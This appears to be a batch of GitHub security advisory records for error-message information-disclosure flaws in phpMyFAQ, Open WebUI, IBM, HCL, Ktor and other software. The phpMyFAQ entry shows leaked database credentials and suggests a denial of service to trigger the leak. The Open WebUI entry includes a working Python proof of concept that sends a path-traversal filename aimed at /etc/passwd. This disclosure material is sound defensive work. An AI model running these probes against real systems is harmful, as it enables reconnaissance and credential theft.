CWE-209

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-54141"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-06T18:22:52Z",
    "nvd_published_at": "2024-12-06T15:15:09Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nExposure of database (ie postgreSQL) server\u0027s credential when connection to DB fails.\n\n### Details\nExposed database credentials upon misconfig/DoS @ permalink: https://github.com/thorsten/phpMyFAQ/blob/main/phpmyfaq/src/phpMyFAQ/Setup/Installer.php#L694\n\n### PoC\nWhen postgreSQL server is unreachable, an error would be thrown exposing the credentials of the database. For instance, when \"http://\u003cphpmyfaq-instance\u003e:8080/setup/index.php\" is hit when the database instance/server is down, then credentials are exposed, for instance:\n\n```\n( ! ) Warning: pg_connect(): Unable to connect to PostgreSQL server: connection to server at \u0026quot;127.0.0.1\u0026quot;, port 5432 failed: Connection refused Is the server running on that host and accepting TCP/IP connections? in /var/www/html/src/phpMyFAQ/Database/Pgsql.php on line 78\nCall Stack\n# Time Memory Function Location\n1 0.0404 453880 {main}( ) .../index.php:0\n2 1.1341 610016 phpMyFAQ\\Setup\\Installer-\u003estartInstall( $setup = ??? ) .../index.php:471\n3 1.2113 611544 phpMyFAQ\\Database\\Pgsql-\u003econnect( $host = \u0027127.0.0.1\u0027, $user = \u0027cvecve\u0027, $password = \u0027\u003credacted\u003e\u0027, $database = \u0027cvecve\u0027, $port = 5432 ) .../Installer.php:694\n4 1.2113 611864 pg_connect( $connection_string = \u0027host=127.0.0.1 port=5432 dbname=cvecve user=cvecve password=\u003credacted\u003e\u0027 ) .../Pgsql.php:78\n\n( ! ) Fatal error: Uncaught TypeError: Cannot assign false to property phpMyFAQ\\Database\\Pgsql::$conn of type ?PgSql\\Connection in /var/www/html/src/phpMyFAQ/Database/Pgsql.php on line 78\n( ! ) TypeError: Cannot assign false to property phpMyFAQ\\Database\\Pgsql::$conn of type ?PgSql\\Connection in /var/www/html/src/phpMyFAQ/Database/Pgsql.php on line 78\nCall Stack\n# Time Memory Function Location\n1 0.0404 453880 {main}( ) .../index.php:0\n2 1.1341 610016 phpMyFAQ\\Setup\\Installer-\u003estartInstall( $setup = ??? ) .../index.php:471\n3 1.2113 611544 phpMyFAQ\\Database\\Pgsql-\u003econnect( $host = \u0027127.0.0.1\u0027, $user = \u0027cvecve\u0027, $password = \u0027\u003credacted\u003e\u0027, $database = \u0027cvecve\u0027, $port = 5432 ) .../Installer.php:694\n```\n![image](https://github.com/user-attachments/assets/feb9c0ba-0cf7-44d1-bd86-87cc36292b70)\n\nA way to force this would be to perform a denial of service on the database instance/server. When the db connection is refused, the credentials would show. The remote attacker can then use that to gain full control on the database.\n\n### Impact\nThis vulnerability exposes the credentials of the database and grants a remote attacker full control over the database.\n\nFirst notified Snyk on 16 Jan 2024.\n",
  "id": "GHSA-vrjr-p3xp-xx2x",
  "modified": "2024-12-06T18:22:52Z",
  "published": "2024-12-06T18:22:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-vrjr-p3xp-xx2x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/b9289a0b2233df864361c131cd177b6715fbb0fe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "phpMyFAQ Generates an Error Message Containing Sensitive Information if database server is not available"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-20413"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-28T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Guardium Data Encryption (GDE) 4.0.0.4 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 196212.",
  "id": "GHSA-vv2x-8p3m-39x2",
  "modified": "2022-05-24T19:06:23Z",
  "published": "2022-05-24T19:06:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20413"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/196212"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6444037"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-8852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-11T14:15:27Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in WuKongOpenSource WukongCRM 11.0. This affects an unknown part of the file /adminFile/upload of the component API Response Handler. The manipulation leads to information exposure through error message. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-vv73-j722-jwwp",
  "modified": "2025-08-11T15:32:42Z",
  "published": "2025-08-11T15:32:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8852"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WuKongOpenSource/WukongCRM-11.0-JAVA/issues/26"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WuKongOpenSource/WukongCRM-11.0-JAVA/issues/26#issue-3272864284"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.319383"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.319383"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.624693"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-6438"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-13T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in extensions in Google Chrome prior to 81.0.4044.92 allowed an attacker who convinced a user to install a malicious extension to obtain potentially sensitive information from process memory via a crafted Chrome Extension.",
  "id": "GHSA-vv9m-mjhj-9cqc",
  "modified": "2022-05-24T17:14:06Z",
  "published": "2022-05-24T17:14:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6438"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2020/04/stable-channel-update-for-desktop_7.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/714617"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6XWIVVYIQU67QR2LHNGGZBS4FZOW2RQO"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HFVP775RPRDVY5FUCN7ABH5AE74TQFDD"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XMXPDHEEACPD3BCMTC26SCCYB2ZMUOAO"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4714"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00031.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T15:29:32Z",
    "nvd_published_at": "2026-03-27T00:16:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message \u2014 including the server\u0027s absolute `DATA_DIR` path \u2014 is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.\n\n### Details\n\n`backend/open_webui/routers/audio.py:1197` extracts a file extension from the raw multipart `filename` using `file.filename.split(\".\")[-1]` with no path sanitisation. The result is concatenated into a filesystem path and passed to `open()`:\n\n```python\next       = file.filename.split(\".\")[-1]       # attacker-controlled, no sanitisation\nfilename  = f\"{id}.{ext}\"                      # may contain \"/\"\nfile_path = f\"{file_dir}/{filename}\"\nwith open(file_path, \"wb\") as f:\n    f.write(contents)\n```\n\nIf the filename is `audio./etc/passwd`, `split(\".\")[-1]` yields `/etc/passwd` and the assembled path becomes:\n\n```\n{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd\n```\n\n`open()` fails with `FileNotFoundError`. The outer `except` block at line 1231 returns the exception via `ERROR_MESSAGES.DEFAULT(e)`, leaking the full absolute path in the response body.\n\nThe MIME-type guard at line 1190 checks `Content-Type` (a separate multipart field) and does not constrain `filename`. Setting `Content-Type: audio/wav` satisfies the guard regardless of the filename value.\n\nThis handler is the only file upload path in the codebase that omits `os.path.basename()`. Both sibling handlers apply it explicitly:\n\n```python\n# files.py:244\nfilename = os.path.basename(file.filename)\n\n# pipelines.py:206\nfilename = os.path.basename(file.filename)\n```\n\n**Recommended fix** \u2014 match the existing pattern and suppress path leakage in errors:\n\n```python\n# audio.py:1197 \u2014 sanitise extension\nfrom pathlib import Path\nsafe_name = Path(file.filename).name\next = Path(safe_name).suffix.lstrip(\".\") or \"bin\"\n\n# audio.py:1231 \u2014 suppress internal path in error response\nexcept Exception as e:\n    log.exception(e)\n    raise HTTPException(status_code=400, detail=\"Transcription failed.\")\n```\n\n---\n\n### PoC\n\n**Requirements:** a running Open WebUI instance and one standard (non-admin) user account.\n\n```bash\ndocker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest\n# wait ~30 s, register a standard user at http://localhost:3000\npip install requests\n```\n\n```python\nimport requests, sys\n\nBASE_URL = \"http://localhost:3000\"\nEMAIL    = \"user@example.com\"\nPASSWORD = \"changeme\"\n\ntoken = requests.post(f\"{BASE_URL}/api/v1/auths/signin\",\n                      json={\"email\": EMAIL, \"password\": PASSWORD},\n                      timeout=10).json()[\"token\"]\n\nboundary = \"----Boundary\"\nwav_stub = b\"RIFF\\x00\\x00\\x00\\x00WAVE\"\nbody = (\n    f\u0027--{boundary}\\r\\nContent-Disposition: form-data; name=\"file\"; \u0027\n    f\u0027filename=\"audio./etc/passwd\"\\r\\nContent-Type: audio/wav\\r\\n\\r\\n\u0027\n).encode() + wav_stub + f\"\\r\\n--{boundary}--\\r\\n\".encode()\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v1/audio/transcriptions\",\n    data=body,\n    headers={\"Authorization\": f\"Bearer {token}\",\n             \"Content-Type\": f\"multipart/form-data; boundary={boundary}\"},\n    timeout=15,\n)\nprint(resp.status_code, resp.text)\n```\n\n**Observed output (live test, commit `b8112d72b`):**\n\n```\n400 {\"detail\":\"[ERROR: [Errno 2] No such file or directory:\n\u0027/app/backend/data/cache/audio/transcriptions/59457ccf-\u2026./etc/passwd\u0027]\"}\n```\n\nThe absolute `DATA_DIR` path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.\n\n**Note on the write primitive:** the traversal path includes a fresh UUID segment (`{uuid}.`) that never pre-exists as a directory, so `open()` is OS-blocked in all practical scenarios. The impact is information disclosure only.\n\n---\n\n### Impact\nAny authenticated, non-admin user on a default Open WebUI deployment can leak the server\u0027s absolute `DATA_DIR` filesystem path. The route is gated by `get_verified_user` \u2014 the lowest privilege tier \u2014 so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.\n\n\u003e **AI Disclosure:** Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit `b8112d72b`. All code references were verified by the reporter, who accepts full responsibility for accuracy.",
  "id": "GHSA-vvxm-vxmr-624h",
  "modified": "2026-03-27T15:29:32Z",
  "published": "2026-03-27T15:29:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vvxm-vxmr-624h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28786"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/387225eb8b3906909436004f84fff1b012e067d4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-39751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-06T16:15:48Z",
    "severity": "MODERATE"
  },
  "details": "IBM InfoSphere Information Server 11.7 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser.  This information could be used in further attacks against the system.  IBM X-Force ID:  297429",
  "id": "GHSA-vx44-h683-36m9",
  "modified": "2024-08-06T18:30:56Z",
  "published": "2024-08-06T18:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39751"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/297429"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7160580"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-34339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-01T19:15:09Z",
    "severity": "LOW"
  },
  "details": "In JetBrains Ktor before 2.3.1 headers containing authentication data could be added to the exception\u0027s message",
  "id": "GHSA-w2c4-vpgj-g3jp",
  "modified": "2024-04-04T04:28:01Z",
  "published": "2023-06-01T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34339"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-21783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-24T20:16:26Z",
    "severity": "MODERATE"
  },
  "details": "HCL Traveler is affected by sensitive information disclosure.\u00a0 The application generates some error messages that provide detailed information about errors and failures, such as internal paths, file names, sensitive tokens, credentials, error codes, or stack traces.\u00a0 Attackers could exploit this information to gain insights into the system\u0027s architecture and potentially launch targeted attacks.",
  "id": "GHSA-w3p4-547j-v9cv",
  "modified": "2026-03-24T21:31:24Z",
  "published": "2026-03-24T21:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21783"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0129139"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-59853"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-06T11:16:04Z",
    "severity": "LOW"
  },
  "details": "HCL DFXAnalytics is affected by an Improper Error Handling vulnerability where the application exposes detailed stack traces in responses, which could allow an attacker to gain insights into the application\u0027s internal structure, code logic, and environment configurations.",
  "id": "GHSA-w3wc-c543-6jj6",
  "modified": "2026-05-06T12:30:28Z",
  "published": "2026-05-06T12:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59853"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0130569"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-28285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T15:14:19Z",
    "severity": "CRITICAL"
  },
  "details": "A Fault Injection vulnerability in the SymmetricDecrypt function in cryptopp/elgamal.h of Cryptopp Crypto++ 8.9, allows an attacker to co-reside in the same system with a victim process to disclose information and escalate privileges.",
  "id": "GHSA-w4c4-h4jq-x3xh",
  "modified": "2024-08-29T21:31:02Z",
  "published": "2024-05-14T15:32:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28285"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/liang-junkai/3e91f58070812ea76c1b8c126c3e28c7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}